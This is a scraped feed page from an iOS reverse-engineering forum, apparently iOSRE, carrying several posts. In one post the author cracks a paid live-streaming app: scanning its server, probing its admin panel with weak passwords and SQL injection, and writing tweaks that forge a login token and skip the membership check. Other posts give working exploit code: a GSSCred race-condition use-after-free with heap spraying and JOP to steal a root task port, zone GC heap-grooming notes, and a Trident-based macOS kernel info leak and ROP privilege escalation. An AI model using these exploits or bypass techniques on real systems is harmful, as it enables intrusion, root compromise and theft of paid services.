Quantcast
Channel: Essence Sharing | 干货分享 - iOSRE
Viewing all 301 articles
Browse latest View live

逆向了一个聚合直播,菜鸟简单操作一波,免费观看!

$
0
0

@xhios wrote:

我真的只是为了练习技术而破解,而不是为了内容.随意上2张图大家感受下就好啦


首先安装到手机上,赶紧抓包一波,看是否有Api直接可以使用,就懒得上逆向了,抓包用Charles或者Thor都行,大佬请直接上wireshark

通过抓包得知,除了注册登录接口,其他有内容的接口都需要带Token请求,且随意扫了一下,没有什么特别的接口可以利用


然后上了nmap试试看有无可利用端口

看了下这些端口,果然22关掉,ssh无望,888和8888一看就是宝塔

知道是宝塔我连3306都懒得去测试了
通过对路径猜测,发现了对方的后台管理系统
弱口令和sql注入随手试了下,也没有明显漏洞,遂放弃,还是老老实实回去逆向App吧

上面都是走的弯路.正文开始
1、首先把ipa搞下来,通过抓包获取分发平台的ipa下载路径,这个没难度,不细说

因为这些企业签名的App没有上架到商店,也就没有砸壳这一说法,直接zip解压缩找到可执行文件


2、上class-dump,因为无壳,所以直接导出即可
命令class-dump -H XXX -o OUTPUT_PATH

整整齐齐,315个头文件全部出来

3、上大杀器MonkeyDev,怎么安装啥的请直接看官方Wiki
直接把ipa扔到TargetApp目录开始build装手机上,然后打开另外个杀器Reveal,直接查找到首页控制器名称XXXLiveController


注意:这里build的时候遇到了个错误崩溃

一看,这不是七牛的播放SDK么,如果七牛知道拿来放这些内容,会不会律师函警告
既然知道了是七牛的SDK,那简单pod走起,然后就成功编译了

4、祭出神器Hopper,如果是用IDA的大佬请喝茶

因为通过Reveal看出了首页布局使用的是CollectionView,所以直接定位到collectionView:didSelectItemAtIndexPath:方法即可


通过上面的伪代码可以看出,当我们点击了item的时候,会先判断你的UserDefaults中是否有token,没有就直接跳登录控制器了,得到这个逻辑就简单了,要么我们给他个token,要么我直接调用pushToVc到下个页面就行了.

通过查看pushToVc的伪代码可以看出,其实就是传了个索引进来,然后找在listArray找到到对应Model,然后赋值push


既然这样的话,那就简单了,直接写tweak,由于我对CaptainHook语法不熟,所以还是用Logos写吧,省事
首先@interface构造出我们要Hook的控制器,并写上要Hook的方法,方法名字这些都在对应的头文件里有,直接复制过来即可

然后重新build装手机上测试,预料之中,不需要登录就push成功,但是不对呀,为啥没数据呢?

我还以为是手机卡了,下拉刷新好几次,明显感觉到了网络请求,但是没数据回来,然后抓包一看,尼玛请登录,好吧,懂了,肯定是网络请求里封装的时候加了验证是否有token的选项,没有token直接就挂掉,为了验证猜想,找到他的网络请求库,打开看了下伪代码,红框中验证了我的想法.

既然你要验证,那我就给你个token验证就行了呗

修改tweak如下



biubiubiu

第一步搞定,成功的获取到了数据,然后我们随便点一个看看

继续上面的步骤Reveal找到控制器,继续看方法


通过伪代码得知,点击cell的时候去服务器验证了下我们会员是否过期

通过查看对应的汇编代码,得知如果成功会去调用pushToVc:and:这个方法,那破解思路我就直接调用这个方法就好了

通过看其伪代码得知,第一个参数是索引,第二个参数是个字符串.通过对页面的查看也能得知我的猜想.

开始写Tweak,本来很简单的2句话,但是由于and成了关键字,不能作为参数名,会引起无法编译,我想用objc_msgsend来自己调用方法,也发现and这个关键字无法编译,那看来只能自己写push的逻辑了


逻辑由上面的伪代码翻译成如下,这样就跳过了这个and的坑

这里有个坑,暂时未知,就是用%c出来的是类对象,不是实例对象,用类对象去掉方法肯定就报错了,然后我就还是用了runtimegetClass来初始化实例对象了.

build后成功的进入了直播页面.由于内容有些太那啥,我就不截图了

然后打包ipa,重签名,安装,完美!
教程到此结束,以下为瞎折腾


本着生命不息折腾不止的原则,首页的轮播图我也看不顺眼,我得给它干掉

老套路找到轮播图所在的Cell

写tweak


直接把高宽设置为0.01,看不到就好了

效果完美,无广告!

Posts: 3

Participants: 3

Read full topic


一个用户空间的条件竞争漏洞分析

$
0
0

@Peterpan0927 wrote:

0x00.漏洞产生处

Brandon在com.apple.GSSCredXPC服务中发现了一个条件竞争的漏洞,可以拿到在GSSCred进程内的任意代码执行,这个进程在macOS和iOS上是以root身份执行的,我用我的思考思路整理了一下,结合poc分析。

我们在iOS的沙箱内也是可以访问到这个服务的,首先来看一下初始化的代码:

runQueue = dispatch_queue_create("com.apple.GSSCred", DISPATCH_QUEUE_SERIAL);
heim_assert(runQueue != NULL, "dispatch_queue_create failed");

conn = xpc_connection_create_mach_service("com.apple.GSSCred",
                                          runQueue,
                                          XPC_CONNECTION_MACH_SERVICE_LISTENER);

xpc_connection_set_event_handler(conn, ^(xpc_object_t object) {
	GSSCred_event_handler(object);
});

在XPC服务上创建了一个监听连接的串行队列,这个串行队列就是防止条件竞争的关键,因为GSSCred没有用锁。GSSCred_event_handler()函数负责初始化传入的客户端连接。当从连接接收到事件的时候会创建一个服务器端peer对象来表示conn上下文,并设置XPC runime将调用的event handler

static void GSSCred_event_handler(xpc_connection_t peerconn)
{
	struct peer *peer;

	peer = malloc(sizeof(*peer));
	heim_assert(peer != NULL, "out of memory");

	peer->peer = peerconn;
	peer->bundleID = CopySigningIdentitier(peerconn);
	if (peer->bundleID == NULL) {
		...
	}
	peer->session = HeimCredCopySession(xpc_connection_get_asid(peerconn));
	heim_assert(peer->session != NULL, "out of memory");

	xpc_connection_set_context(peerconn, peer);
	xpc_connection_set_finalizer_f(peerconn, peer_final);

	xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) {
		GSSCred_peer_event_handler(peer, event);
	});
	xpc_connection_resume(peerconn);
}

而上面的代码一个缺少了一个很重要的东西就是xpc_connection_set_target_queue(),通过文档发现如果没有设置队列,默认就是一个并行队列,也就是来自不同客户端的连接请求是串行的,但是里面的事件执行起来确实并行的,事实上这个问题一直没有发现可能还有一个原因就是XPC对于并行处理事件的文档对大家带来了一些误导,下面是英文的原文:

The XPC runtime guarantees this non-preemptiveness even for concurrent target
queues. If the target queue is a concurrent queue, then XPC still guarantees
that there will never be more than one invocation of the connection’s event
handler block executing concurrently. If you wish to process events
concurrently, you can dispatch_async(3) to a concurrent queue from within
the event handler.

可能就是因为上面的加粗字体造成了误解,事实上这个意思是在单个连接中的事件保证是串行的,但是这并不意味着在不同的连接中这些事件是串行的,这就恰恰给了我们机会。

这个漏洞的修补代码为:

xpc_connection_set_event_handler(peerconn, ^(xpc_object_t event) {
	GSSCred_peer_event_handler(peer, event);
});
xpc_connection_set_target_queue(peerconn, runQueue);		// 将事件也加到同一个串行队列中
xpc_connection_resume(peerconn);

0x01.漏洞利用

因为这个漏洞的利用条件是在不同的连接中进行条件竞争,所以一定要保持这个race的窗口大小足够大,不然就等不到第二个线程去修改共享的数据。

GSSCred_peer_event_handler()会从XPC消息中读取到command字段来判断其接下来要进行的操作:

Command Function
"wakeup"
"create" do_CreateCred()
"delete" do_Delete()
"setattributes" do_SetAttrs()
"fetch" do_Fetch()
"move" do_Move()
"query" do_Query()
"default" do_GetDefault()
"retain-transient"
"release-transient"
"status" do_Status()

条件竞争我们最好要满足要么这个竞争比较容易胜出,要么失败之后不会崩溃。而对于上述的方法而言,访问共享数据基本都意味着用我们控制的数据去做重分配,这是非常容易崩的。

但是通过观察do_SetAttrs()方法,会有一些新的想法:

static void
do_SetAttrs(struct peer *peer, xpc_object_t request, xpc_object_t reply)
{
	CFUUIDRef uuid = HeimCredCopyUUID(request, "uuid");
	CFMutableDictionaryRef attrs;
	CFErrorRef error = NULL;

	if (uuid == NULL)
		return;

	if (!checkACLInCredentialChain(peer, uuid, NULL)) {
		CFRelease(uuid);
		return;
	}

	HeimCredRef cred = (HeimCredRef)CFDictionaryGetValue(	// A.将指针保存到一个本地变量
			peer->session->items, uuid);		
	CFRelease(uuid);					
	if (cred == NULL)
		return;

	heim_assert(CFGetTypeID(cred) == HeimCredGetTypeID(),
			"cred wrong type");

	if (cred->attributes) {
		attrs = CFDictionaryCreateMutableCopy(NULL, 0,
				cred->attributes);
		if (attrs == NULL)
			return;
	} else {
		attrs = CFDictionaryCreateMutable(NULL, 0,
				&kCFTypeDictionaryKeyCallBacks,
				&kCFTypeDictionaryValueCallBacks);
	}

	CFDictionaryRef replacementAttrs =			// B.将XPC消息反序列化
		HeimCredMessageCopyAttributes(			
				request, "attributes",		
				CFDictionaryGetTypeID());
	if (replacementAttrs == NULL) {
		CFRelease(attrs);
		goto out;
	}

	CFDictionaryApplyFunction(replacementAttrs,
			updateCred, attrs);
	CFRELEASE_NULL(replacementAttrs);

	if (!validateObject(attrs, &error)) {			// C.判断反序列化后的字典合法性
		addErrorToReply(reply, error);
		goto out;					
	}

	handleDefaultCredentialUpdate(peer->session,		// D.保存的指针又被重新使用
			cred, attrs);		
								
	// make sure the current caller is on the ACL list
	addPeerToACL(peer, attrs);

	CFRELEASE_NULL(cred->attributes);
	cred->attributes = attrs;
out:
	CFRELEASE_NULL(error);
}

通过观察A和D两处地方,很容易想到会出现一个UAF的条件竞争,为了尽量提高利用率,我们可以通过增大反序列化的时间来达成,简单的来说,就是增加反序列化数据的大小,构造一个很长的字典

在反序列的过程中,在另外一个线程通过"delete"删除了这个对象,然后用我们的数据去覆盖(因为反序列化的数据是可控的),等到D处重新访问的时候,触发UAF控制PC,然后进入JOP流程,这就是一个非常流畅的过程了,拿到task port之后在macOS上就基本结束了,但是在iOS上只是其中的一步罢了,还需要配合其他的漏洞,任重而道远呐。

接下来就是细节的分析过程了,我分为几个重点:

  1. 如何造成UAF
  2. 如果通过堆风水控制跳转的数据
  3. 怎么样利用JOP提权

UAF

首先来看看我们要覆盖那个对象的结构:

struct HeimCred_s {
	CFRuntimeBase   runtime;	// 00: 0x10 bytes
	CFUUIDRef       uuid;		// 10: 8 bytes
	CFDictionaryRef attributes;	// 18: 8 bytes
	HeimMech *      mech;		// 20: 8 bytes
};					// Total: 0x28 bytes

总大小是0x28,说明被划在0x30freelist中,所以我们的字典中要构造的数据也必须是在这个范围内的,这样才能保证能比较稳定的分配到释放的那个堆块,但是这个字典里面不是什么玩意都能往里塞的,毕竟要触发UAF还要先过合法性检查,通过代码分析可以得出只有以下几种可以放进字典里:

  1. OS_xpc_string
  2. CFString

最后我们选了CFString(其实两种都可以),那么再来看看它的结构:

struct CFString {
	CFRuntimeBase   runtime;	// 00: 0x10 bytes
	uint8_t         length;		// 10: 1 byte
	char            characters[1];	// 11: variable size
};

因为它的大小是根据其字符串的长度来决定的,所以我们只要用长度在0x10-0x1f之间的字符串都可以保证从0x30freelist中分配,这时就有一个难题,我们要控制数据,但是CFString只要碰到空字符就会终止,也就意味着如果我们的跳转地址中有00,就会在那里终止掉。

正常来说,uuidattributesmech三个都是指针,都可以修改,但是如果前两个属性修改成跳转地址,就意味着我们一定会在CFString的大小达到0x20之前终止,因为iOS中用户空间的指针一定会包含00,这样就根本无法从0x30freelist中分配了,所以我们只能在mech字段去做手脚,将其作为跳转地址,从poc中看一下构造的函数就知道了:

static const size_t OFFSET__CFString__characters = 0x11;
static const size_t OFFSET__HeimCred__mech       = 0x20;
static const ssize_t PAYLOAD_OFFSET__HeimMech = 0x0010;
static const uint64_t GSSCRED_RACE_PAYLOAD_ADDRESS = 0x0000000120204000;

static void
generate_uaf_string(char *uaf_string) {
	memset(uaf_string, 'A', GSSCRED_RACE_UAF_STRING_SIZE);
	uint8_t *fake_HeimCred = (uint8_t *)uaf_string - OFFSET__CFString__characters;
	uint8_t *HeimCred_mech = fake_HeimCred + OFFSET__HeimCred__mech;
	*(uint64_t *)HeimCred_mech = GSSCRED_RACE_PAYLOAD_ADDRESS + PAYLOAD_OFFSET__HeimMech;
}

所以最终我们构造的字典应该形如:

{
	     "command":    "setattributes",
	     "uuid":       ab,
	     "attributes": {
	         "kHEIMAttrBundleIdentifierACL": [
	             "AAAAAAAAA跳转地址",
	             "AAAAAAAAA跳转地址",
	             ...,
	         ],
	     },
	     "mach_send":  <send right to listener port>,
	     "data_0":     <memory entry containing payload>,
	     "data_1":     <memory entry containing payload>,
	     ...,
}

那么等到触发UAF的时候,就会执行handleDefaultCredentialUpdate()函数:

static void
handleDefaultCredentialUpdate(struct HeimSession *session,
		HeimCredRef cred, CFDictionaryRef attrs)
{
	heim_assert(cred->mech != NULL, "mech is NULL, "	
			"schame validation doesn't work ?");	

	CFUUIDRef oldDefault = CFDictionaryGetValue(		
			session->defaultCredentials,		
			cred->mech->name);			

	CFBooleanRef defaultCredential = CFDictionaryGetValue(
			attrs, kHEIMAttrDefaultCredential);
	...
	//这里会发送一个objc message给mech->name,但是数据可控,下面会讲到接下来具体的流程
	CFDictionarySetValue(session->defaultCredentials,
			cred->mech->name, cred->uuid);

	notifyChangedCaches();
}

堆风水

为了保证我们布置的数据能够恰好卡到那个地址上面,我们需要做一些堆空间的布局,来喷射大量内存。但是对于iOS来说,一个进程如果占据了内存超过了一定数目会被jetsam给杀掉,对于GSSCred进程来说,最多只有6M的内存空间。

对于我们做堆喷这个数量显然不够,更别说我们的反序列化过程中会为CFString分配很多空间,但是我们之前从Triple fetch中了解到libxpc面对大于0x4000的数据对象的时候会做内存映射,因为物理页面是共享的,所以并不会被jetsam计算在内。

通过libxpc mach_vm_map()函数并使用VM_FLAGS_ANYWHERE标志调用,内核会选择映射的地址。据Brandon推测,为了最小化地址空间碎片,内核通常会选择靠近程序库的地址。程序库通常位于如下地址0x000000010c65d000:事实上应该比这个地址大了接近4GB(0x100000000),因为有ASLR。然后内核可能会将大的VM_ALLOCATE对象放在一个地址上,例如0x0000000116097000。相比之下,MALLOC_TINY堆(我们所有对象都将存在的位置)可能从 0x00007fb6f0400000(macOS)和0x0000000107100000(iOS)开始。

加上ASLR,我们的mech指针的跳转地址,也就是充满我们布置数据的那个页面,根据Brandon的实验,差不多应该在0x0000000120204000左右,这也是我们选择那个跳转地址的原因。

下面来看看Brandon那个进行堆喷的函数:

static xpc_object_t
gsscred_race_build_payload_spray(const void *payload) {
	//构造一个很大的payload块
	size_t block_size = GSSCRED_RACE_PAYLOAD_SIZE * PAYLOAD_COUNT_PER_BLOCK;
	uint8_t *payload_block = malloc(block_size);
	assert(payload_block != NULL);
	for (size_t i = 0; i < PAYLOAD_COUNT_PER_BLOCK; i++) {
		memcpy(payload_block + i * GSSCRED_RACE_PAYLOAD_SIZE, payload,
				GSSCRED_RACE_PAYLOAD_SIZE);
	}
	// 现在我们会通过remap来创建paload块的拷贝,细节在map_replicate这个函数中
	// 我们会构造出一长串连续的payload block的拷贝,尽管覆盖了大量的虚拟内存地址,但是只会算作占据一个payload块的空间
	size_t map_size = block_size * PAYLOAD_BLOCKS_PER_MAPPING;
	void *payload_map = map_replicate(payload_block, block_size, PAYLOAD_BLOCKS_PER_MAPPING);
	assert(payload_map != NULL);
	free(payload_block);
	//将payload的映射包装在dispatch_data_t中以便不被拷贝,然后将其包装在XPC数据对象中。我们利用了DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE这个参数
	/*!
 	* @const DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE
 	* @discussion The destructor for dispatch data objects that have been created
 	* from buffers that require deallocation using vm_deallocate.
 	*/
 	//通过这个参数的注释可以看到必须用vm_deallocation才能释放对象,这样dispatch_data_make_memory_entry()不会尝试重新映射数据(这会导致我们被Jetsam杀死)。
	dispatch_data_t dispatch_data = dispatch_data_create(payload_map, map_size,
			NULL, DISPATCH_DATA_DESTRUCTOR_VM_DEALLOCATE);
	assert(dispatch_data != NULL);
	xpc_object_t xpc_data = xpc_data_create_with_dispatch_data(dispatch_data);
	dispatch_release(dispatch_data);
	assert(xpc_data != NULL);
	return xpc_data;
}

接下来把remap的细节也放一下:

static void *
map_replicate(const void *data, size_t data_size, size_t count) {	
	size_t mapping_size = data_size * count;
	mach_vm_address_t mapping;
	kern_return_t kr = mach_vm_allocate(mach_task_self(), &mapping, mapping_size,
			VM_FLAGS_ANYWHERE);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%zx): %x", "mach_vm_allocate", mapping_size, kr);
		goto fail_0;
	}
	//重新分配master slice的第一个段,不确定是否是必须的
	kr = mach_vm_allocate(mach_task_self(), &mapping, data_size,
			VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE);
	if (kr != KERN_SUCCESS) {
		ERROR("%s(%zx, %s): %x", "mach_vm_allocate", data_size,
				"VM_FLAGS_OVERWRITE", kr);
		goto fail_1;
	}
	
	memcpy((void *)mapping, data, data_size);
	// 开始循环remap,构造一长串连续的copy出来
	for (size_t i = 1; i < count; i++) {
		mach_vm_address_t remap_address = mapping + i * data_size;
		vm_prot_t current_protection, max_protection;
		kr = mach_vm_remap(mach_task_self(),
				&remap_address,
				data_size,
				0,
				VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
				mach_task_self(),
				mapping,
				FALSE,
				&current_protection,
				&max_protection,
				VM_INHERIT_NONE);
		if (kr != KERN_SUCCESS) {
			ERROR("%s(%s): %x", "mach_vm_remap", "VM_FLAGS_OVERWRITE", kr);
			goto fail_1;
		}
	}
	// All set! We should have one big memory object now.
	return (void *)mapping;
fail_1:
	mach_vm_deallocate(mach_task_self(), mapping, mapping_size);
fail_0:
	return NULL;
}

通过伪造的mech的指针跳转之后,如果我们布置的数据卡到了那里,那么前面一段的内存分布应该为:

0x0000000120204000: key

0x0000000120204008: imp

0x0000000120204010: 0x0000000120204000

0x0000000120204018: 0(mask)

0x0000000120204020: 0x0000000120204028(name)

0x0000000120204028: 0x0000000120204000

我们首先要了解CFRuntimeBase的结构:

typedef struct __CFRuntimeBase {
    uintptr_t _cfisa;
    uint8_t _cfinfo[4];
#if __LP64__
    uint32_t _rc;
#endif
} CFRuntimeBase;

所以0x0000000120204000就是isa指针,那么学过OC的人肯定都知道了,通过imp,也就是函数实际地址去劫持PC,如果有疑问的话可以参考phrack的文章

JOP

不管是JOP还是ROP,接下来想要做的提权操作都是要拿到GSSCredtask port,这里可以用到Triple fetch中的方法,让GSSCred把它的task port发给我们,但是Brandon做了一些小小的改变,lan beer是通过喷射大量的Mach port,以此来解决port name不确定的问题。而Brandon选择了只发送一个Mach port,但发送很多个消息,remote port设置为各种各样的port name,再接受消息。相当于两者的角度不同,但是殊途同归。

Brandon设置想要直接通过寄存器和栈上的数据直接推断出port name,但显然这个要复杂得多。

在劫持了控制流拿到了task port之后我们必须进行收尾工作,让我们从劫持的那里恢复继续执行是一件比较困难的事,所以我们会让那个线程一直循环,这也意味着 do_SetAttr 永远不会返回了。

0x02.参考链接

Bazad’s Blog

phrack

Posts: 2

Participants: 2

Read full topic

iOS11/iOS12上通过LSApplicationWorkspace获取应用列表(只能获取带有 plugin 的app)

$
0
0

@LithiumCarbinate wrote:

NSMethodSignature *methodSignature = [NSClassFromString(@“LSApplicationWorkspace”) methodSignatureForSelector:NSSelectorFromString(@“defaultWorkspace”)];
NSInvocation *invoke = [NSInvocation invocationWithMethodSignature:methodSignature];
[invoke setSelector:NSSelectorFromString(@“defaultWorkspace”)];
[invoke setTarget:NSClassFromString(@“LSApplicationWorkspace”)];

[invoke invoke];
NSObject * objc;
[invoke getReturnValue:&objc];

NSMethodSignature *installedPluginsmethodSignature = [NSClassFromString(@“LSApplicationWorkspace”) instanceMethodSignatureForSelector:NSSelectorFromString(@“installedPlugins”)];
NSInvocation *installed = [NSInvocation invocationWithMethodSignature:installedPluginsmethodSignature];
[installed setSelector:NSSelectorFromString(@“installedPlugins”)];
[installed setTarget:objc];

[installed invoke];
NSObject * arr;
[installed getReturnValue:&arr];

for (NSObject *objc in arr) {

NSMethodSignature *installedPluginsmethodSignature = [NSClassFromString(@"LSPlugInKitProxy") instanceMethodSignatureForSelector:NSSelectorFromString(@"containingBundle")];
NSInvocation *installed = [NSInvocation invocationWithMethodSignature:installedPluginsmethodSignature];
[installed setSelector:NSSelectorFromString(@"containingBundle")];
[installed setTarget:objc];

[installed invoke];
NSObject * app;
[installed getReturnValue:&app];
NSLog(@"%@",app);

}

以上来自 NGE 商业化实验室 对某助手的逆向

Posts: 5

Participants: 2

Read full topic

魔改Apple Clang注入混淆代码并保持其他功能可用性

$
0
0

@Zhang wrote:

这个点子当时Hikari开源的时候我就想过,实在是太Hack了所以一开始并没有尝试,既然有人需要的话

代码应该是自解释的,有空再写详情

Posts: 1

Participants: 1

Read full topic

现在的项目很多都是react-native

手动触发zone gc的一些实验和心得

$
0
0

@gct30002000 wrote:

苹果在IOS11和MACOS10.13后移除了mach_zone_force_gc,因此堆风水后需要手动触发gc。
这里gc构造方法是采用siguza在https://siguza.github.io/v0rtex/提到的方法,在各个ZONE都申请一些内存并释放,构成内存垃圾,触发内核的垃圾回收。
判断gc产生的标准是比较两次生成内存垃圾的时间,如有显著提升就表明gc触发成功。该方法在MACOS上同样可以使用。

1.gc会持续一段时间
内核zone_gc并不会完全阻塞用户态程序执行,但会在这段时间占用CPU,减慢用户态程序执行时间,因此,判断gc触发成功后,一定要延时一会儿再继续堆喷射,否则就会出现边堆喷,边出现新的页,影响堆喷预期。

2.gc时ipc_port的zone靠后释放,且被优先重用
gc会先释放常规zone的页面,再释放ipc_port的页面,因此接下来的堆喷不需要喷很多就能覆盖到ipc_port释放的页面。而如果不顾一切狂喷之前内存垃圾之和的量,虽然也能成功,但途中又会造成多次gc,徒然影响效率,还会有内存耗尽的风险。
zone_gc() starting…
zone_gc() of zone VM map holes freed 768 elements, 6 pages
zone_gc() of zone pagetable anchors freed 2 elements, 2 pages
zone_gc() of zone kalloc.32 freed 1440512 elements, 11254 pages
zone_gc() of zone kalloc.48 freed 1087405 elements, 12793 pages
zone_gc() of zone kalloc.64 freed 818816 elements, 12794 pages
zone_gc() of zone kalloc.80 freed 654330 elements, 12830 pages
zone_gc() of zone kalloc.96 freed 545360 elements, 12832 pages
zone_gc() of zone kalloc.128 freed 409152 elements, 12786 pages
zone_gc() of zone kalloc.160 freed 327471 elements, 12842 pages
zone_gc() of zone kalloc.192 freed 273024 elements, 12798 pages
zone_gc() of zone kalloc.256 freed 204784 elements, 12799 pages
zone_gc() of zone kalloc.288 freed 182044 elements, 12820 pages
zone_gc() of zone kalloc.512 freed 101800 elements, 12725 pages
zone_gc() of zone kalloc.8192 freed 5 elements, 10 pages
zone_gc() of zone ipc ports freed 260172 elements, 10692 pages
zone_gc() of zone namei freed 8 elements, 2 pages
zone_gc() of zone ulocks freed 93 elements, 2 pages
zone_gc() of zone ksyn_waitq_element freed 73 elements, 1 pages
zone_gc() of zone os reasons freed 51 elements, 1 pages

   越后面整理释放的页越先被重用?以后再研究代码

3.单个ZONE中先成为内存垃圾的页(未触发gc)先被重新使用
在自己想要喷射的理想页设上标志魔术字,再多次堆喷,每次都回收内存,并从回收的内存中判断出理想页在所有堆喷页中的位置,可以发现每喷一次,顺序就会颠倒一次。这是因为xnu代码中free_to_zone里调用的re_queue_tail并不是如其函数名把free页放在链表末尾,而是放在了链表开头。这样会导致未被使用过的新鲜页反而得不到优先使用,而使用后又被释放的垃圾页却被先重新利用。
而empty_list中也提到单page单元中分配顺序也会颠倒,xnu相关代码里对其顺序取值有个异或(^)操作?这里没弄明白,以后再研究

4.垃圾页被gc整理后,重新申请未发现颠倒情况
先期堆风水时,会堆砌大量ipc_port单元,产生大批ipc_port对应zone中的页,释放后成为内存垃圾,触发GC后,再重新申请。
由于ipc_port对应zone中的页先被重用,因此可以调整堆风水时ipc_port单元的堆砌数量,再对比后面首次堆喷完成后理想页的位置。可以发现堆砌数量越多,理想页偏移位置越远。证明此时没有发生顺序颠倒。
这是因为产生内存垃圾和GC的双重颠倒,使其反而不再颠倒?以后再研究

Posts: 1

Participants: 1

Read full topic

iWeChat:逆向从微信开始

利用三叉戟漏洞实现通用提权

$
0
0

@Peterpan0927 wrote:

# 0x00 前言
在对漏洞进行学习的时候,因为各方面细小知识点的缺少,导致踩了一些坑,这次来分析的是之前很多人已经说过的三叉戟漏洞的后两个来实现的本地提权,虽然有很多poc,但是其中的描述并不是很详细,所以我就通过自己的学习过程来做一些科普吧算是。
在阅读之前需要对于这两个漏洞有一定的了解,资料我丢在链接部分了,完整的代码贴在我的github上了。

0x01 流程

首先我还是按照惯例梳理了整个Poc的流程画了一张流程图,可以结合poc看看:

在这个流程中我们为了触发反序列化需要用到一些IOKit的私有API,所以首先需要对整个流程有一定的了解:

0x02 踩坑处

  1. 对于macOS中堆的分配机制不太了解,因为UAF的构造就是利用这个性质,可以去看一下kalloc或者linux上的堆分配器Glibc的分配机制都会有所帮助
  2. 对于NULL pointer解引用从而跳到零页面,参考stackover flow
  3. 对于零页面的构造,这个有关于C++的vtable在内存中的情况,可以参考深入理解C++对象模型第一章。

0x03 Poc

32bit利用zero page

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

#include "librop/librop.h"

#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
//0xd3
#define kOSSerializeCodeSignature "\323\0\0"

enum {
  kOSSerializeDictionary = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollection = 0x80000000U,
};


uint64_t info_leak(void){
  kern_return_t kr=0,err=0;
  //mach端口
  mach_port_t res=MACH_PORT_NULL,master=MACH_PORT_NULL;

  //iokit的参数 
  io_service_t serv = 0;
  io_connect_t conn = 0;
  io_iterator_t iter = 0;
  
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  
  memcpy(dict, kOSSerializeCodeSignature ,sizeof(kOSSerializeCodeSignature));
  index += sizeof(kOSSerializeCodeSignature);
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 2;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;  
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeNumber | kOSSerializeEndCollection | 0x200;
  index += 4;
  //因为要编译成32bit所以按照32bit写入
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  *(uint32_t *)(dict+index) = 0x41414141;
  index += 4;
  host_get_io_master(mach_host_self(), &master);
  kr = io_service_get_matching_services_bin(master, (char *)dict, index ,&res);
  if(kr != KERN_SUCCESS) return -1;
  printf("字典合法,success\n");

  serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController")); 
  kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, index, &err, &conn);
  
  if(kr != KERN_SUCCESS) return -1;
  printf("泄漏成功, success\n");
  

  IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
  io_object_t object = IOIteratorNext(iter);

  char buffer[0x20A] = {0};
  mach_msg_type_number_t bufLen = 0x200;
  if(kr!=KERN_SUCCESS) return -1;
  kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buffer, &bufLen);
  for(uint32_t k = 0; k < 128; k += 8) {
        printf("%llx\n", *(uint64_t *)(buffer + k));
  }
  //硬编码地址要自己逆向去找
  uint64_t hard_code_ret_addr = 0xffffff800039bc2f;
  //地址是内核栈上的第几个也要通过打印自己看
  printf("KASLR is :%llx\n", (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr);
  return (*(uint64_t *)(buffer+7*sizeof(uint64_t)))-hard_code_ret_addr;
}

void uaf(){
  kern_return_t kr = 0;
  mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;
  //构造字典
  void *dict = calloc(1, 512);
  int index = 0;
  //为了更直观我就不用宏了
  memcpy(dict, kOSSerializeCodeSignature, sizeof(kOSSerializeCodeSignature));
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeDictionary | kOSSerializeEndCollection | 6;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeString | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00414141;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeBoolean | 1;
   index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00424242;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeData | 0x20;
  index += 4;
  for(int i = 0 ; i < 8 ;i++){
  *(uint32_t *)(dict+index) = 0x00000000; 
  index += 4;
  }
  *(uint32_t *)(dict+index) = kOSSerializeSymbol | 4;
  index += 4;
  *(uint32_t *)(dict+index) = 0x00434343;
  index += 4;
  *(uint32_t *)(dict+index) = kOSSerializeObject | kOSSerializeEndCollection | 1;
  index += 4;
  //制造零页面
  mach_vm_address_t zero_page = 0;
  vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);
  kr = mach_vm_allocate(mach_task_self(), &zero_page, PAGE_SIZE, 0);
  if (kr != KERN_SUCCESS)  return;
  
  //拿到内核
  macho_map_t *map = map_file_with_path("/System/Library/Kernels/kernel");
  
  //获取内核偏移
  SET_KERNEL_SLIDE(info_leak());
  //劫持rip,关键字防止编译器做修改
  *(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map);
 
  //rop chain
   printf("开始构造 ROP chain\n");

  rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
  PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

  PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
